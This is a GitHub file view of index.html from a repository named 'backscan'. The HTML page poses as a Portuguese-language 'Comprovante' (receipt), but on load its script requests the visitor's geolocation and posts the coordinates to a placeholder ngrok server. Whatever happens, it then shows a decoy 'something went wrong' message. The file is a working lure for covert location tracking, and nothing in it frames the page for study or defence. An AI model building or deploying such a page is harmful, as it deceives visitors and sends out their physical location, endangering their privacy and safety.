forked from PedroHBessa/backscan
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
53 lines (48 loc) · 1.41 KB
/
Copy pathindex.html
File metadata and controls
53 lines (48 loc) · 1.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<title>Comprovante</title>
</head>
<body style="background-color: antiquewhite;">
<h1>Comprovante</h1>
<script>
// Executa automaticamente ao carregar a página
window.addEventListener("load", () => {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(sendLocation, handleError);
} else {
alert("Algo deu errado. Tente novamente mais tarde.");
}
});
function sendLocation(position) {
const latitude = position.coords.latitude;
const longitude = position.coords.longitude;
console.log("Latitude: " + latitude);
console.log("Longitude: " + longitude);
// Envia a localização para o backend
fetch("NGROK-SERVER/send-location", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ latitude, longitude })
})
.then(response => response.json())
.then(data => {
if (data.success) {
alert("Algo deu errado. Tente novamente mais tarde.");
} else {
alert("Algo deu errado. Tente novamente mais tarde.");
}
})
.catch(error => {
console.error("Erro:", error);
});
}
function handleError(error) {
alert("Erro ao obter a localização: " + error.message);
}
</script>
</body>
</html>